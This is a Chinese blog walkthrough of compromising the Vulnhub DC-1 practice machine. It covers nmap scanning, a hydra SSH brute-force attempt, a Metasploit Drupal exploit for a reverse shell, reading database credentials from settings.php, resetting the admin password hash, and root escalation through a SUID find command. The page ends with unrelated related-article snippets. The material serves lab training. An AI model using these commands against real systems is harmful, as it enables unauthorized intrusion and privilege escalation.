Vulnhub靶机 DC-1渗透详细过程

Vulnhub靶机:DC-1渗透详细过程

目录

  • Vulnhub靶机:DC-1渗透详细过程
    • 一、将靶机导入到虚拟机当中
    • 二、攻击方式
      • 主机发现
      • 端口扫描
      • web渗透
        • 利用msf反弹shell
        • 数据库信息
        • web管理员密码
        • 提权

一、将靶机导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-1-1,292/

image-20240413193827250

二、攻击方式

主机发现

使用arp-scan命令,发现主机也可以使用nmap,均可

image-20240413194808979

端口扫描

nmap -p- 192.168.0.106

image-20240413194852624

开放了22端口以及80,http端口服务,接下来探针服务信息

nmap -sV -A 192.168.0.106

image-20240413195013846

image-20240413195030315

由于开放了22端口,我们可以尝试去爆破一下,但是未果。

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.106

image-20240413205138709

探针还发现开放了80端口,接下来可以进行访问web界面

web渗透

访问过后得到以下界面,此web服务使用了Drupal CMS魔板

image-20240413195432965

信息收集

image-20240413195502432

我们回到kali端,开启msf,进行搜索相关的漏洞看有无可利用的,如下:

利用msf反弹shell
search drupal //搜索漏洞利用模块

image-20240413195650261

use 1 //尝试使用第一个API这个
set rhosts 192.168.0.106 //靶机目标ip
set lhosts 0.0.0.0
set lport 4444
exploit

image-20240413200009353

成功接收到shell,并为普通www-data权限:

image-20240413200124233

当前目录下有flag1.txt,查看一下提示:

image-20240413200203660

翻译:每一个好的CMS都需要一个配置文件–你也一样。

数据库信息

根据提示找到他的配置文件,不清楚得网上搜一下,Drupal CMS配置文件在哪即可

image-20240413200603944

进入到shell当中,当前所在路径为/var/www,直接进入到配置文件当中即可

cd /var/www/sites/default/
cat settings.php

image-20240413200737786

查看配置文件信息settings.php,得到数据库的用户名和密码,连接即可查看数据库内容

image-20240413200951917

mysql -u dbuser -p
密码:R0ck3t
或
mysql -u dbuser -pR0ck3t

首先获取一个稳定shell,交互性shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20240413201208933

进入数据库当中,查看所有数据库

image-20240413201235559

web管理员密码

查看当前的数据库和users数据表,查看users表当中的数据信息,得到管理员用户名和密码,但是密码被加密,此加密是自带的加密方式,需要找到加密脚本,搜索一下

image-20240413201405046

先把数据拿出来,放到记事本当中。

搜索发现,加密脚本在scripts当中的passwd-hash.sh

进入到此路径当中,查看一下脚本信息:

发现此脚本为php脚本,由此用php来执行,我们来获取一下自定义新密码,从而更新数据库,修改admin管理员的密码

image-20240413202054562

image-20240413202143959

php password-hash.sh admin //生成新密码

image-20240413202242606

回到数据库,将admin密码更新成我们生成的这个自定义密码hash值即可。

UPDATE drupaldb.users SET password = '自定义生成的密码hash值' WHERE username = 'admin' or username = 'Fred';

image-20240413202825961

登录web界面,进入后台即可。

提权

找到flag3.txt,翻译如下

特殊的PERMS将帮助查找(find)密码-但您需要-exec命令来确定如何获得阴影中的内容。

image-20240413203019671

发现有find命令提示,查看一下find命令得权限

ls -l $(which find)

发现为root权限,那么利用find提权即可,当然提示当中也有说明,使用-exec参数

image-20240413203424232

find /etc/passwd -exec whomai \;

image-20240413203825321

获取一个shell,命令如下:

find /etc/passwd -exec "/bin/sh" \;

image-20240413203839001

方法二,我们通过msf拿到shell以后,可以直接走提权三部曲

查找系统当中拥有suid权限的命令,有没有可利用的

find / -perm -u=s -type f 2>/dev/null
或
find / -user root -perm -4000 print 2>/dev/null

直接发现了find命令,可直接利用,直接提权,命令同方法一

find /etc/passwd -exec whomai \;

image-20240413204904220

文章不妥之处,欢迎匹配指正!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/815828.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【域适应】基于域分离网络的MNIST数据10分类典型方法实现

关于 大规模数据收集和注释的成本通常使得将机器学习算法应用于新任务或数据集变得异常昂贵。规避这一成本的一种方法是在合成数据上训练模型,其中自动提供注释。尽管它们很有吸引力,但此类模型通常无法从合成图像推广到真实图像,因此需要域…

在Mac上更好的运行Windows,推荐这几款Mac虚拟机 mac运行windows虚拟机性能

想要在Mac OS上更好的运行Windows系统吗?推荐你使用mac虚拟机。虚拟机通过生成现有操作系统的全新虚拟镜像,它具有真实windows系统完全一样的功能,进入虚拟系统后,所有操作都是在这个全新的独立的虚拟系统里面进行,可以…

vue列表列表过滤

对已知的列表进行数据过滤(根据输入框里面的内容进行数据过滤) 编写案例 通过案例来演示说明 效果就是这样的 输入框是模糊查询 想要实现功能,其实就两大步,1获取输入框内容 2根据输入内容进行数据过滤 绑定收集数据 我们可以使用v-model去双向绑定 …

深入理解Cortex-M7 SVC和PendSV

1前言 1.1 PendSV 在ARM V7上,PendSV用来作为RTOS调度器的御用通道,上下文切换,任务调度都是在其ISR中实现的。所谓pend,字面意思即有悬起等待的意思,ARM官方也明确说明,PendSV应该在其他异常处理完毕后执…

python的算术运算符

python常用算术运算符代码如下: #算术运算符操作 x 10 y 20 z 30 #加法运算 a x y print("a的值为:", a) #减法运算 a x - y print("a的值为:", a) #乘法运算 a x*y print("a的值为:", a) …

计算机网络——ARP协议

前言 本博客是博主用于复习计算机网络的博客,如果疏忽出现错误,还望各位指正。 这篇博客是在B站掌芝士zzs这个UP主的视频的总结,讲的非常好。 可以先去看一篇视频,再来参考这篇笔记(或者说直接偷走)。 …

OpenCV4.9​​​​基本阈值操作

目标 在本教程中,您将学习如何: 使用 OpenCV 函数 cv::threshold 执行基本阈值操作 理论依据 注意 下面的解释属于 Bradski 和 Kaehler 的 Learning OpenCV 一书 阈值? 最简单的分割方法应用示例:分…

步骤大全:网站建设3个基本流程详解

一.领取一个免费域名和SSL证书,和CDN 1.打开网站链接:https://www.rainyun.com/z22_ 2.在网站主页上,您会看到一个"登陆/注册"的选项。 3.点击"登陆/注册",然后选择"微信登录"选项。 4.使用您的…

Claude3和GPT4哪个强?

在短短两个月内,全球最强人工智能的桂冠再次易主。此前,Claude3 Opus以其卓越的表现超越了GPT-4,吸引了无数用户抛弃GPT,转而拥抱Claude3。然而,OpenAI近日强势回归,用实力证明了GPT依然是人工智能领域的霸…

Jmeter杂记:测试计划参数详解

测试计划各参数详解 1,用户自定义变量,是全局变量,供所有线程组使用,可用配置元件:用户自定义变量替代 2,连续的运行线程组,默认不勾选,则随机的运行多个线程组中的取样器&#xff…

图机器学习NetworkX代码实战-创建图和可视化

完整代码见资源,下面列举了其中的几个图 安装networkX及相应工具包 pip install numpy pandas matplotlib tqdm networkx 当安装完成后,输入如下代码验证版本及是否安装成功 import networkx as nxnx.__version__ import matplotlib.pyplot as plt …

国内ai人工智能软件大全

很多人一直在寻找一个稳定且可靠的全球AI大模型测试平台,希望它不仅真实可信,而且能提供稳定、快速的服务,不会频繁出现故障或响应缓慢。迄今为止,我已经尝试了国内外至少10个不同的服务站点。不幸的是,这些站点总是存…

Linux 文件页反向映射

0. 引言 操作系统中与匿名页相对的是文件页,文件页的反向映射对比匿名页的反向映射更为简单。如果还不清楚匿名页反向映射逻辑的,请移步 匿名页反向映射 1. 文件页反向映射数据结构 struct file: 用户进程每open()一次文件,则会生…

分享一个 git stash 的实际使用场景。

当我将新的变更记录提交为 git commit --amend 后,发现这需要修改云端上的提交记录,也就是 vscode 中会出现这张图 于是,我通过 git reset head^ 撤销掉刚刚的提交。 reset 前: reset 后: 但在撤销的同时&#xf…

深入理解计算机网络分层结构

一、 为什么要分层? 计算机网络分层的主要目的是将复杂的网络通信过程分解为多个相互独立的层次,每个层次负责特定的功能。这样做有以下几个好处: 模块化设计:每个层次都有清晰定义的功能和接口,使得网络系统更易于设…

解决Xshell登录云服务器的免密码和云服务器生成子用户问题

Xshell登录云服务器的免密码问题 前言一、Xshell登录云服务器的免密码操作实践 二、centos创建用户创建用户实操删除用户更改用户密码直接删除子用户 前言 Xshell登录云服务器免密码问题的解决方案通常涉及使用SSH密钥对。用户生成一对密钥(公钥和私钥)…

Spring源码刨析之配置文件的解析和bean的创建以及生命周期

public void test1(){XmlBeanFactory xmlBeanFactory new XmlBeanFactory(new ClassPathResource("applicationContext.xml"));user u xmlBeanFactory.getBean("user",org.xhpcd.user.class);// System.out.println(u.getStu());}先介绍一个类XmlBeanFac…

Linux —— FTP服务【从0-1】

目录 一、介绍 1.概述 2.FTP的传输模式 PORT 主动模式 PASV 被动模式 3.FTP服务的作用 二、搭建FTP服务器 FTP服务端配置 1.安装vsftpd文件服务 2.启动服务 3.防火墙配置 4.FTP服务相关文件说明 FTP客户端配置 1.安装FTP客户端工具 lftp 2.访问FTP服务器 Linux系…

深度学习图像处理基础工具——opencv 实战2 文档扫描OCR

输入一个文档,怎么进行文档扫描,输出扫描后的图片呢? 今天学习了 opencv实战项目 文档扫描OCR 问题重构:输入图像 是一个含有文档的图像——> 目标是将其转化为 规则的扫描图片 那么怎么实现呢? 问题分解&#…

Python 复杂密码图形化生成工具,支持选择生成10位和12位复杂密码(初版)

代码 #!/usr/bin/env python # -*- coding: utf-8 -*- # Time : 2024/3/26 15:22 # Author : wyq # File : 部署测试.py import random import string from tkinter import *def generate_password(length):characters string.ascii_letters string.digits string.p…